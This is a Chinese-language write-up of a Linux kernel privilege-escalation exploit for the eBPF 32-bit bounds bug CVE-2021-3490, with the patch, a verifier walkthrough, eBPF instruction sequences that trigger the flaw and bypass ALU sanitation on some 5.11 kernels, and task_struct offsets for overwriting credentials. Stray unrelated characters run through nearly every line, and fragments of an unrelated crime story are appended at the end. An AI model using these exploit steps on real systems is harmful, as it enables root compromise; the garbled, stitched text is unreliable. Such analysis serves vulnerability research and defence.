【kernel exploit】CVE-2021-3490 eBPF 32位邊界計算錯誤漏洞

文章首發(fā)于安全客:CVE-2021-3490 eBPF 32位邊界計算錯誤漏洞利用分析

影響版本:Linux 5.7-rc1以后,Linux 5.13-rc4 以前; v5.13-rc4已修補,v5.13-rc3未修補输虱。 評分7.8分予权。

測試版本:Linux-5.11 和 Linux-5.11.16 exploit及測試環(huán)境下載地址https://github.com/bsauce/kernel-exploit-factory

編譯選項CONFIG_BPF_SYSCALL昂勉,config所有帶BPF字樣的。 CONFIG_SLAB=y

General setup ---> Choose SLAB allocator (SLUB (Unqueued Allocator)) ---> SLAB

在編譯時將.config中的CONFIG_E1000CONFIG_E1000E扫腺,變更為=y岗照。參考

$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.11.16.tar.xz
$ tar -xvf linux-5.11.16.tar.xz
# KASAN: 設(shè)置 make menuconfig 設(shè)置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 編譯出的bzImage目錄:/arch/x86/boot/bzImage笆环。

漏洞描述:Linux內(nèi)核中按位操作(AND攒至、OR 和 XOR)的 eBPF ALU32 邊界跟蹤沒有正確更新 32 位邊界,造成 Linux 內(nèi)核中的越界讀取和寫入躁劣,從而導(dǎo)致任意代碼執(zhí)行迫吐。三個漏洞函數(shù)分別是 scalar32_min_max_and()scalar32_min_max_or()账忘、scalar32_min_max_xor()志膀。AND/OR 是在 Linux 5.7-rc1 中引入,XOR 是在 Linux 5.10-rc1中引入鳖擒。

補丁patch 若低32位都為 known溉浙,則調(diào)用 __mark_reg32_known(),將32位邊界設(shè)置為reg的低32位(常數(shù))蒋荚,保證最后更新邊界時戳稽,有正確的邊界。

diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 757476c91c984..9352a1b7de2dd 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -7084,11 +7084,10 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
  s32 smin_val = src_reg->s32_min_value;
  u32 umax_val = src_reg->u32_max_value;
 
- /* Assuming scalar64_min_max_and will be called so its safe
-  * to skip updating register for known 32-bit case.
-  */
- if (src_known && dst_known)
+ if (src_known && dst_known) {
+   __mark_reg32_known(dst_reg, var32_off.value);
    return;
+ }
 
  /* We get our minimum from the var_off, since that's inherently
   * bitwise.  Our maximum is the minimum of the operands' maxima.
@@ -7108,7 +7107,6 @@ static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
    dst_reg->s32_min_value = dst_reg->u32_min_value;
    dst_reg->s32_max_value = dst_reg->u32_max_value;
  }
-
 }*/
 
static void __mark_reg32_known(struct bpf_reg_state *reg, u64 imm)
{
  reg->var_off = tnum_const_subreg(reg->var_off, imm);
  reg->s32_min_value = (s32)imm;
  reg->s32_max_value = (s32)imm;
  reg->u32_min_value = (u32)imm;
  reg->u32_max_value = (u32)imm;
}

保護機制:開啟KASLR/SMEP/SMAP圆裕。

利用總結(jié):利用verifier階段與runtime執(zhí)行階段的不一致性广鳍,進行越界讀寫。泄露內(nèi)核基址吓妆、偽造函數(shù)表、實現(xiàn)任意讀寫后篡改本線程的cred吨铸。


1. 漏洞分析

參考:BPF介紹和相似漏洞分析行拢,可參考CVE-2020-8835利用,里面也有var_off 也即tnum結(jié)構(gòu)的含義诞吱≈鄣欤總之,其成員 value 表示確定的值房维,mask 對應(yīng)的位是1則表示該位不確定沼瘫。

漏洞根源:eBPF指令集可以對64位寄存器或低32位進行操作,verifier也會對低32位進行范圍追蹤:{u,s}32_{min,max}_value咙俩。每次進行指令操作耿戚,有兩個函數(shù)會分別更新64位和32位的邊界湿故,在 adjust_scalar_min_max_vals() 中調(diào)用這兩個函數(shù)。很多BPF漏洞都出現(xiàn)在對32位邊界的處理上膜蛔。CVE-2021-3490也出現(xiàn)在32位運算 BPF_AND坛猪、BPF_ORBPF_XOR 中皂股。

1-1 代碼跟蹤

漏洞調(diào)用鏈adjust_scalar_min_max_vals() -> scalar32_min_max_and()

*
/* WARNING: This function does calculations on 64-bit values, but  * the actual execution may occur on 32-bit values. Therefore,      * things like bitshifts need extra checks in the 32-bit case.
*/
static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                                      struct bpf_insn *insn,
                                      struct bpf_reg_state 
                                                  *dst_reg,
                                      struct bpf_reg_state src_reg)
{
...
        case BPF_AND:
                dst_reg->var_off = tnum_and(dst_reg->var_off,       
                src_reg.var_off);
                scalar32_min_max_and(dst_reg, &src_reg);  // [1] <--- 漏洞點
                scalar_min_max_and(dst_reg, &src_reg);
                break;
        case BPF_OR:
                dst_reg->var_off = tnum_or(dst_reg->var_off,  
                src_reg.var_off);
                scalar32_min_max_or(dst_reg, &src_reg);   // <--- 漏洞點
                scalar_min_max_or(dst_reg, &src_reg);
                break;
        case BPF_XOR:
                dst_reg->var_off = tnum_xor(dst_reg->var_off,   
                src_reg.var_off);
                scalar32_min_max_xor(dst_reg, &src_reg);  // <--- 漏洞點
                scalar_min_max_xor(dst_reg, &src_reg);
                break;
                
...
    __update_reg_bounds(dst_reg);             // [2]
  __reg_deduce_bounds(dst_reg);
  __reg_bound_offset(dst_reg);
  return 0;
}        

[1]: 對比32位和64位的BPF_AND操作墅茉。低32位 BPF_AND 中,若 src_regdst_reg 都為 known呜呐,則不用更新32位的邊界(開發(fā)者假設(shè)就斤,反正之后還是會調(diào)用 scalar_min_max_and() -> __mark_reg_known() 來標記寄存器的,所以暫時不用處理)蘑辑,直接返回洋机。64位 BPF_AND 中,若 src_regdst_reg 都為 known以躯,則調(diào)用 __mark_reg_known() 將寄存器標記為 known槐秧。

問題scalar32_min_max_and() 32位中,*_known 變量是調(diào)用 tnum_subreg_is_const() 來計算的忧设,而 scalar_min_max_and() 64位中是調(diào)用 tnum_is_const() 來計算的刁标。區(qū)別是,前者只判斷低32位的 tnum->mask 來判斷是否為 known址晕,后者則判斷整個64位是否為 known膀懈。如果某個寄存器的高32位不確定,而低32位是確定的谨垃,則 scalar_min_max_and() 也不會調(diào)用 __mark_reg_known() 來標記寄存器启搂。

static void scalar32_min_max_and(struct bpf_reg_state *dst_reg,
                                 struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_subreg_is_const(src_reg->var_off);
    bool dst_known = tnum_subreg_is_const(dst_reg->var_off);
    struct tnum var32_off = tnum_subreg(dst_reg->var_off);
    s32 smin_val = src_reg->s32_min_value;
    u32 umax_val = src_reg->u32_max_value;


    /* Assuming scalar64_min_max_and will be called so its safe
    * to skip updating register for known 32-bit case.   開發(fā)者假設(shè),反正之后還是會調(diào)用scalar_min_max_and() -> __mark_reg_known() 來標記寄存器的刘陶,所以暫時不用處理胳赌,直接返回。但是如果某個寄存器的高32位不確定匙隔,而低32位是確定的疑苫,則 scalar_min_max_and() 不會調(diào)用 __mark_reg_known()。
    */
    if (src_known && dst_known)
        return;
...
}

static void scalar_min_max_and(struct bpf_reg_state *dst_reg,
                              struct bpf_reg_state *src_reg)
{
    bool src_known = tnum_is_const(src_reg->var_off);
    bool dst_known = tnum_is_const(dst_reg->var_off);
    s64 smin_val = src_reg->smin_value;
    u64 umin_val = src_reg->umin_value;

    if (src_known && dst_known) {
            __mark_reg_known(dst_reg, dst_reg->var_off.value);
            return;
    }
  ...
}

[2]:接著 adjust_scalar_min_max_vals() 會調(diào)用以下三個函數(shù)來更新 dst_reg 寄存器的邊界纷责。每個函數(shù)都包含32位和64位的處理部分捍掺,我們這里只關(guān)心32位的處理部分。reg 的邊界是根據(jù)當前邊界和 reg->var_off 來計算的再膳。

// __update_reg32_bounds() —— min邊界是取 min{當前min邊界挺勿、reg確定的值},會變大喂柒;max邊界是取 max{當前max邊界不瓶,reg確定的值}禾嫉,會變小。
static void __update_reg32_bounds(struct bpf_reg_state *reg)
{
    struct tnum var32_off = tnum_subreg(reg->var_off);

    /* min signed is max(sign bit) | min(other bits) */
    reg->s32_min_value = max_t(s32, reg->s32_min_value,
                               var32_off.value | (var32_off.mask & 
                               S32_MIN));
        
     /* max signed is min(sign bit) | max(other bits) */
     reg->s32_max_value = min_t(s32, reg->s32_max_value,
                                var32_off.value | (var32_off.mask & 
                                S32_MAX));
     reg->u32_min_value = max_t(u32, reg->u32_min_value,
                               (u32)var32_off.value);
     reg->u32_max_value = min(reg->u32_max_value,
                             (u32)(var32_off.value |
                              var32_off.mask));
}
// __reg32_deduce_bounds() —— 接著用符號和無符號邊界來互相更新
/* Uses signed min/max values to inform unsigned, and vice-versa */
static void __reg32_deduce_bounds(struct bpf_reg_state *reg)
{
    /* Learn sign from signed bounds.
     * If we cannot cross the sign boundary, then signed and
     * unsigned bounds
     * are the same, so combine.  This works even in the
     * negative case, e.g.
     * -3 s<= x s<= -1 implies 0xf...fd u<= x u<= 0xf...ff.
     */
    if (reg->s32_min_value >= 0 || reg->s32_max_value < 0) {
            reg->s32_min_value = reg->u32_min_value =
                        max_t(u32, reg->s32_min_value, 
                        reg->u32_min_value);
                reg->s32_max_value = reg->u32_max_value =
                        min_t(u32, reg->s32_max_value, 
                        reg->u32_max_value);
                return;
    }
...
}
// __reg_bound_offset() —— 最后湃番,用無符號邊界來更新 var_off
static void __reg_bound_offset(struct bpf_reg_state *reg)
{
    struct tnum var64_off = tnum_intersect(reg->var_off,  // tnum_intersect() —— 組合兩個tnum參數(shù)
                            tnum_range(reg->umin_value,   // tnum_range() —— 返回一個tnum夭织,表示給定范圍內(nèi),所有可能的值吠撮。
                                       reg->umax_value));                
    struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off),tnum_range(reg->u32_min_value, reg->u32_max_value));

    reg->var_off = tnum_or(tnum_clear_subreg(var64_off), 
                                             var32_off);
}

1-2 觸發(fā)漏洞

BPF代碼示例:例如指令BPF_ALU64_REG(BPF_AND, R2, R3)尊惰,對 R2 和 R3 進行與操作,并保存到 R2泥兰。

  • R2->var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}弄屡,表示R2低32位已知為1,高32位未知鞋诗。由于低32位已知膀捷,所以其32位邊界也為1。
  • R3->var_off = {mask = 0x0; value = 0x100000002}削彬,表示其整個64位都已知全庸,為 0x100000002

更新R2的32位邊界的步驟如下:

  • 先調(diào)用 adjust_scalar_min_max_vals() -> tnum_and()R2->var_offR3->var_off 進行AND操作融痛,并保存到 R2->var_off壶笼。結(jié)果 R2->var_off = {mask = 0x100000000; value = 0x0},由于R3是確定的且R2高32位不確定雁刷,所以運算后覆劈,只有第32位是不確定的。

    struct tnum tnum_and(struct tnum a, struct tnum b)
    {
      u64 alpha, beta, v;
    
      alpha = a.value | a.mask;
      beta = b.value | b.mask;
      v = a.value & b.value;
      return TNUM(v, alpha & beta & ~v);
    }
    
  • 再調(diào)用 adjust_scalar_min_max_vals() -> scalar32_min_max_and()沛励,會直接返回责语,因為R2和R3的低32位都已知。

  • 再調(diào)用 adjust_scalar_min_max_vals() -> __update_reg_bounds() -> __update_reg32_bounds() 目派,會設(shè)置 u32_max_value = 0坤候,因為 var_off.value = 0 < u32_max_value = 1。同時企蹭,設(shè)置 u32_min_value = 1铐拐,因為 var_off.value = 0 < u32_min_value。帶符號邊界也一樣练对。

  • __reg32_deduce_bounds()__reg_bound_offset() 對邊界不作任何改變。最后得到寄存器 R2 — {u,s}32_max_value = 0 < {u,s}32_min_value = 1吹害。

1-3 調(diào)試BPF的方法

寫和調(diào)試BPF程序:可使用rbpf螟凭。

verifier 日志輸出:加載BPF程序時進行如下設(shè)置,即可在verifier檢測出指令錯誤時輸出指令信息它呀。正常調(diào)試時螺男,可以下源碼斷點棒厘,斷在do_check() 函數(shù)中,具體觀察 verifier 檢查每條指令時寄存器的狀態(tài)下隧。

char verifier_log_buff[0x200000] = {0};   // 這段緩沖區(qū)必須足夠大奢人,否則會出錯
union bpf_attr prog_attrs =
{
    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
    .insn_cnt = cnt,
    .insns = (uint64_t)insn,
    .license = (uint64_t)"",
    .log_level = 2,             // 設(shè)置為 1 時,就能輸出簡潔的指令信息
    .log_size = sizeof(verifier_log_buff),
    .log_buf = verifier_log_buff
};
// 輸出示例
34: (bf) r6 = r3
35: R0_w=invP0 R2_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R3_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R4_w=invP0 R5_w=invP4294967298 R6_w=map_value(id=0,off=0,ks=4,vs=4919,imm=0) R7_w=invP(id=0) R10=fp0 fp-8=mmmm????
35: (7b) *(u64 *)(r2 +8) = r6
R6 leaks addr into map

runtime調(diào)試:如果BPF通過了verifier檢查淆院,如何獲取BPF程序運行時的信息呢何乎?答案是插樁。ALU Sanitation也是運行時檢查指令執(zhí)行情況的保護機制土辩,可以通過插樁觀察BPF指令是否已經(jīng)改變支救。這里需要了解一個編譯選項,編譯時設(shè)置CONFIG_BPF_JIT拷淘,則BPF程序在verifier驗證后是JIT及時編譯的各墨;如果不設(shè)置該選項,則采用eBPF解釋器來解碼并執(zhí)行BPF程序启涯,代碼位于kernel/bpf/core.c:___bpf_prog_run()贬堵。

regs指向寄存器值,insn指向指令结洼。為了獲取每條指令執(zhí)行時的寄存器狀態(tài)黎做,可以關(guān)閉CONFIG_BPF_JIT選項并插入printk語句。示例如下:

static u64 ___bpf_prog_run(u64 *regs, const struct bpf_insn *insn)
{
...
    int lol = 0;
   
   // Check the first instruction to match the first instruction of  
   // the target eBPF program to debug, so output isn't printed for  
   // every eBPF program that is ran. 只打印部分指令的信息
    if(insn->code == 0xb7)
    {
        lol = 1;
    }


select_insn:
        if(lol)
        {
            printk("instruction is: %0x\n", insn->code);
            printk("r0: %llx, r1: %llx, r2: %llx\n", regs[0], 
            regs[1], regs[2]);
            ...
        }
        goto *jumptable[insn->code];
...
}

2. 漏洞利用 Linux v5.11.7 及以前版本

特點:我們采用Linux v5.11 版本的內(nèi)核進行測試补君,特點是不需要繞過一種ALU Sanitation引几,之后我們會詳細介紹。

總目標:構(gòu)造 r6 寄存器挽铁,使得 verifier 認為 r6 等于0伟桅,但實際執(zhí)行時等于1。

2-1 觸發(fā)漏洞

首先叽掘,我們需要構(gòu)造出兩個寄存器的值狀態(tài)楣铁,分別為var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}var_off = {mask = 0x0; value = 0x100000002}。然后觸發(fā)漏洞更扁,得到 r6u32_max_value = 0 < u32_min_value = 1盖腕。

注意:實際從map傳入的 r5 = r6 = 0

// (1) 構(gòu)造 r6: var_off = {mask = 0xFFFFFFFF00000000; value = 0x1}
        BPF_MAP_GET(0, BPF_REG_5),            // (79) r5 = *(u64 *)(r0 +0) 從MAP傳入值浓镜,這樣其 mask=0xffffffffffffffff
        BPF_MOV64_REG(BPF_REG_6, BPF_REG_5),      // (bf) r6 = r5

        BPF_LD_IMM64(BPF_REG_2, 0xFFFFFFFF),      // (18) r2 = 0xffffffff
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),      // (67) r2 <<= 32     0xFFFFFFFF00000000
        BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_2), // (5f) r6 &= r2  高32位unknown, 低32位known為0
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1),     // (07) r6 += 1  {mask = 0xFFFFFFFF00000000, value = 0x1}

// (2) 構(gòu)造 r2: var_off = {mask = 0x0; value = 0x100000002}
        BPF_LD_IMM64(BPF_REG_2, 0x1),         // (18) r2 = 0x1
        BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),      // (67) r2 <<= 32       0x10000 0000
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 2),     // (07) r2 += 2  {mask = 0x0; value = 0x100000002}

// (3) trigger the vulnerability
        BPF_ALU64_REG(BPF_AND, BPF_REG_6, BPF_REG_8),   // (5f) r6 &= r2    r6: u32_min_value=1, u32_max_value=0

2-2 構(gòu)造 verifier:0 tuntime:1

// (4) 構(gòu)造 r5 (r5也是MAP載入的值——0): u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
        BPF_JMP32_IMM(BPF_JLE, BPF_REG_5, 1, 1),    // (b6) if w5 <= 0x1 goto pc+1   r5: u32_min_value = 0, u32_max_value = 1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}
    BPF_EXIT_INSN(),
// (5) 構(gòu)造 r6:   verifier:0  tuntime:1
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1),     // (07) r6 += 1     r6: u32_max_value = 1, u32_min_value = 2, var_off = {0x100000000; value = 0x1}
    BPF_ALU64_REG(BPF_ADD, BPF_REG_6, BPF_REG_5), // (0f) r6 += r5   r6: verify:2   fact:1   !!!!!!!!!!!!!!!!!!!!!!!
    BPF_MOV32_REG(BPF_REG_6, BPF_REG_6),      // (bc) w6 = w6    32位擴展為64位
    BPF_ALU64_IMM(BPF_AND, BPF_REG_6, 1),     // (57) r6 &= 1    r6: verify:0   fact:1 

r6 += r5分析:目前寄存器狀態(tài)溃列,r6—u32_min_value=2, u32_max_value=1, var_off = {mask = 0x100000000; value = 0x1},r5—u32_min_value=0, u32_max_value=1, var_off = {mask = 0xFFFFFFFF00000001; value = 0x0}膛薛。

static int adjust_scalar_min_max_vals(struct bpf_verifier_env *env,
                                      struct bpf_insn *insn,
                                      struct bpf_reg_state 
                                             *dst_reg,
                                      struct bpf_reg_state src_reg)
{
  ...
    switch (opcode) {
        case BPF_ADD:
            scalar32_min_max_add(dst_reg, &src_reg);    // [1] <---------
            scalar_min_max_add(dst_reg, &src_reg);
            dst_reg->var_off = tnum_add(dst_reg->var_off, 
                                        src_reg.var_off);
            break;

...
    __update_reg_bounds(dst_reg);             // [2]
  __reg_deduce_bounds(dst_reg);             // [3]
  __reg_bound_offset(dst_reg);              // [4]
  return 0;
}
// [1] 由于r5的低32位是0或1听隐,r6的低32位是1,所以相加結(jié)果為1或2哄啄,所以低32位的1雅任、2位都為unknown风范。其mask=0xffffffff 00000003
static void scalar32_min_max_add(struct bpf_reg_state *dst_reg,
                                 struct bpf_reg_state *src_reg)
{
    s32 smin_val = src_reg->s32_min_value;
    s32 smax_val = src_reg->s32_max_value;
    u32 umin_val = src_reg->u32_min_value;
    u32 umax_val = src_reg->u32_max_value;

...
    if (dst_reg->u32_min_value + umin_val < umin_val ||
        dst_reg->u32_max_value + umax_val < umax_val) {   // 判斷是否越界
            dst_reg->u32_min_value = 0;
            dst_reg->u32_max_value = U32_MAX;
        } else {
            dst_reg->u32_min_value += umin_val;       // 沒越界則直接相加,min+min, max+max
            dst_reg->u32_max_value += umax_val;
        }
}

接著 adjust_scalar_min_max_vals() 會調(diào)用 __update_reg_bounds()沪么、__reg_deduce_bounds()硼婿、__reg_bound_offset()

  • __update_reg32_bounds()中禽车,var_off 表示低32位寇漫,reg->u32_min_value = max{2, 0} = 2reg->u32_max_value = min{2, 0 | 0x3} = 2var32_off.mask = 3)哭当。
  • __reg32_deduce_bounds() 未做修改猪腕,因為 signed 32unsigned 32都相等。
  • __reg32_deduce_bounds() 中钦勘,tnum_range()返回常數(shù)2(因為u32_min_value = u32_max_value=2該范圍內(nèi)只有2)陋葡,由于reg->var_off.mask = 0x3,所以 tnum_intersect() 返回低2位是 known且為2彻采。

最終得到 r6: {u,s}32_min_value = {u,s}32_max_value = 2, var_off = {mask = 0xFFFFFFFF00000000; value = 0x2}腐缤。

// [2] __update_reg32_bounds()
reg->u32_min_value = max_t(u32, reg->u32_min_value,
                          (u32)var32_off.value);
reg->u32_max_value = min(reg->u32_max_value,
                         (u32)(var32_off.value | var32_off.mask));  // var32_off.mask=0x3
// [4] __reg32_deduce_bounds()
struct tnum var32_off = tnum_intersect(tnum_subreg(reg->var_off), // tnum_subreg取低32位
                                     tnum_range(reg->u32_min_value, // 根據(jù)min、max返回一個tnum結(jié)構(gòu)
                                     reg->u32_max_value));
struct tnum tnum_intersect(struct tnum a, struct tnum b)
{
  u64 v, mu;

  v = a.value | b.value;                      // 簡單的整合
  mu = a.mask & b.mask;
  return TNUM(v & ~mu, mu);
}

此時的 r6—{mask = 0xFFFFFFFF00000000; value = 0x2} verifier:2 runtime:1肛响,只需取低32位并 AND 1岭粤,即可得到 verifier:0 runtime:1

2-3 提權(quán)

后面的利用步驟和CVE-2021-31440一樣特笋,參照 CVE-2021-31440 eBPF邊界計算錯誤漏洞 的exp即可提權(quán)剃浇。


3. 漏洞利用 Linux v5.11.8 - 5.11.16 版本

特點:我們采用 Linux v5.11.16 版本的內(nèi)核進行測試,Ubuntu 21.04就是這個版本猎物。2021年3月修復(fù)了一個verifier計算alu_limit(與ALU Sanitation安全機制有關(guān))時的整數(shù)溢出漏洞——commit 10d2bb2e6b1d8c虎囚,導(dǎo)致 Linux 5.11.8 - 5.11.16 這個版本區(qū)間的內(nèi)核無法利用成功。當alu_limit = 0時會觸發(fā)該漏洞蔫磨,例如淘讥,當對map地址指針進行減法操作時(之前exp這么寫,是為了構(gòu)造越界訪問堤如,如泄露內(nèi)核基址蒲列,或者修改map內(nèi)存之前的 bpf_map 結(jié)構(gòu)),會加入如下sanitation指令:0-1 將得到 aux→alu_limit = 0xFFFFFFFF搀罢。

*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1);

這個漏洞的存在蝗岖,導(dǎo)致ALU Sanitation機制失效了,因為 alu_limit 變得很大了榔至,檢測不到越界訪問剪侮,所以之前那些公開的exp都能利用成功。但是這個漏洞被修復(fù)以后,就需要繞過這個限制瓣俯,需要多加5條指令來繞過該機制。

繞過該ALU Sanitationr7指向map兵怯,r6verifier以為是0而運行時為1的那個值彩匕。需要在r7指針進行運算前,使alu_limit != 0媒区。

  • (1)r8 = r6 先拷貝一下—— r8 verifier:0 runtime:1驼仪。
  • (2)r7 += 0x1000,map指針加上一個常量袜漩,以設(shè)置alu_limit=0x1000绪爸,這樣就能繞過運行時的ALU Sanitation
  • (3)r8 = r8 * 0xfff—— r8 verifier:0 runtime:0xfff宙攻。
  • (4)r7 -= r8奠货, 由于verifier以為r8等于0,所以alu_limit保持不變座掘。
  • (5)r7 -= r6 —— r7 verifier:map+0x1000 runtime:map递惋。

注意

  • 創(chuàng)建map時必須足夠大,調(diào)用syscall(__NR_BPF, BPF_MAP_CREATE, ...)時第3個參數(shù) bpf_attr->value_size要大于0x1000溢陪,不然執(zhí)行第2條指令時就會報指針越界的錯誤萍虽。

        BPF_MOV64_REG(BPF_REG_8, BPF_REG_6),          // 1-1. (bf) r8 = r6  BPF_REG_3 = BPF_REG_6   !!! 1-1 -> 1-5  是為了繞過alu_limit的限制
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 0x1000),        // 1-2. (07) r7 += 0x1000       !!! 注意,map不能過小形真,小于0x1000 就報錯
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_8, 0xfff),       // 1-3. verifier: r8=0;    runtime: r8=0x1000-1
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_8),     // 1-4. r7 -= r8
        BPF_ALU64_REG(BPF_SUB, BPF_REG_7, BPF_REG_6),       // 1-5. r7 -= r6
    
  • Linux v5.11 版本相比杉编,還需要修改cred search的相關(guān)偏移:

    gef?  p/x &(*(struct task_struct *)0)->pid
    $9 = 0x918
    gef?  p/x &(*(struct task_struct *)0)->cred
    $10 = 0xad8
    gef?  p/x &(*(struct task_struct *)0)->tasks
    $11 = 0x818
    

4. 漏洞利用 Linux v5.11.16以后的版本

特點:目前無法繞過最新的ALU Sanitation保護機制。2021年4月ALU Sanitation引入新的 patch—commit 7fedb63a8307咆霜,新增了兩個特性邓馒。

  • 一是alu_limit計算方法變了,不再用指針寄存器的位置來計算裕便,而是使用offset寄存器绒净。例如,假設(shè)有個寄存器的無符號邊界是 umax_value = 1, umin_value = 0偿衰,則計算出 alu_limit = 1挂疆,表示如果該寄存器在運行時超出邊界,則指針運算不會使用該寄存器下翎。

  • 二是在runtime時會用立即數(shù)替換掉 verifier 認定為常數(shù)的寄存器缤言。例如,BPF_ALU64_REG(BPF_ADD, BPF_REG_2, EXPLOIT_REG) 视事,EXPLOIT_REG被verifier認定為0胆萧,但運行時為1,則 將該指令改為 BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 0)。這個補丁本來是為了防側(cè)信道攻擊跌穗,同時也阻止了 CVE-2021-3490 漏洞的利用订晌。

    // 以下補丁可看出,如果不確定offset寄存器是否為常量蚌吸,則根據(jù)其alu_limit進行檢查锈拨;如果確定其為常量,則用其常量值將其操作patch為立即數(shù)指令羹唠。
    bool off_is_imm = tnum_is_const(off_reg->var_off);
    alu_state |= off_is_imm ? BPF_ALU_IMMEDIATE : 0;
    isimm = aux->alu_state & BPF_ALU_IMMEDIATE;
    ...
    if (isimm) {
            *patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
        } else {
             // Patch alu_limit check instructions
             ....
         }
    

檢查發(fā)現(xiàn)奕枢,v5.11.17 已打該補丁,v5.11.16 未打該補丁佩微。所以 v5.11.16 以上版本的內(nèi)核就無法利用漏洞進行越界讀寫缝彬,不知道以后能不能繞過這個限制。


5. ALU Sanitation機制

原理ALU sanitation機制一直在進行更新哺眯,其目的是為了阻止verifier漏洞的利用谷浅,原理是在runtime運行時檢查BPF指令的操作數(shù),防止指針運算越界導(dǎo)致越界讀寫族购,其實是對verifier靜態(tài)范圍檢查起到了補充的作用壳贪。

如果某條ALU運算指令的操作數(shù)是1個指針和1個標量,則計算alu_limit 也即最大絕對值寝杖,就是該指針可以進行加減的安全范圍违施。在該指令之前必須加上如下指令,off_reg表示與指針作運算的標量寄存器瑟幕,BPF_REG_AX是輔助寄存器磕蒲。

  • (1)將alu_limit載入BPF_REG_AX
  • (2)BPF_REG_AX = alu_limit - off_reg只盹,如果 off_reg > alu_limit辣往,則BPF_REG_AX最高位符號位置位。
  • (3)若BPF_REG_AUX為正殖卑,off_reg為負站削,則表示alu_limit和寄存器的值符號相反,則BPF_OR操作會設(shè)置該符號位孵稽。
  • (4)BPF_NEG會使符號位置反许起,1->0,0->1菩鲜。
  • (5)BPF_ARSH算術(shù)右移63位园细,BPF_REG_AX只剩符號位。
  • (6)根據(jù)以上運算結(jié)果接校,BPF_AND要么清零off_reg要么使其不變猛频。

總體看來,如果off_reg > alu_limit 或者二者符號相反,表示有可能發(fā)生指針越界鹿寻,則off_reg會被替換為0睦柴,清空指針運算。反之烈和,如果標量在合理范圍內(nèi)—0 <= off_reg <= alu_limit爱只,則算術(shù)移位會將BPF_REG_AX填為1,這樣BPF_AND運算不會改變該標量招刹。

*patch++ = BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit);
*patch++ = BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
*patch++ = BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
*patch++ = BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
*patch++ = BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);

最近更新:最近更新了alu_limit的計算方法,見commit 7fedb63a8307d窝趣,這里我們對比一下更新前后的計算差異疯暑。

  • 之前:alu_limit由指針寄存器的邊界確定,如果指針指向map的開頭哑舒,則alu_limit可減的大小為0妇拯,可加的大小為 map size-1,并且alu_limit隨著接下來的指針運算而更新洗鸵。
  • 現(xiàn)在:alu_limitoffset寄存器的邊界來確定越锈,將運行時offset寄存器的值與verifier靜態(tài)范圍追蹤時計算出來的邊界進行比較。

參考

Kernel Pwning with eBPF: a Love Story

https://nvd.nist.gov/vuln/detail/CVE-2021-3490

https://github.com/chompie1337/Linux_LPE_eBPF_CVE-2021-3490

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末膘滨,一起剝皮案震驚了整個濱河市甘凭,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌火邓,老刑警劉巖丹弱,帶你破解...
    沈念sama閱讀 217,185評論 6 503
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異铲咨,居然都是意外死亡躲胳,警方通過查閱死者的電腦和手機,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,652評論 3 393
  • 文/潘曉璐 我一進店門纤勒,熙熙樓的掌柜王于貴愁眉苦臉地迎上來坯苹,“玉大人,你說我怎么就攤上這事摇天〈馀龋” “怎么了?”我有些...
    開封第一講書人閱讀 163,524評論 0 353
  • 文/不壞的土叔 我叫張陵闸翅,是天一觀的道長再芋。 經(jīng)常有香客問我,道長坚冀,這世上最難降的妖魔是什么济赎? 我笑而不...
    開封第一講書人閱讀 58,339評論 1 293
  • 正文 為了忘掉前任,我火速辦了婚禮,結(jié)果婚禮上司训,老公的妹妹穿的比我還像新娘构捡。我一直安慰自己,他們只是感情好壳猜,可當我...
    茶點故事閱讀 67,387評論 6 391
  • 文/花漫 我一把揭開白布勾徽。 她就那樣靜靜地躺著,像睡著了一般统扳。 火紅的嫁衣襯著肌膚如雪喘帚。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,287評論 1 301
  • 那天咒钟,我揣著相機與錄音吹由,去河邊找鬼。 笑死朱嘴,一個胖子當著我的面吹牛倾鲫,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播萍嬉,決...
    沈念sama閱讀 40,130評論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼乌昔,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了壤追?” 一聲冷哼從身側(cè)響起磕道,我...
    開封第一講書人閱讀 38,985評論 0 275
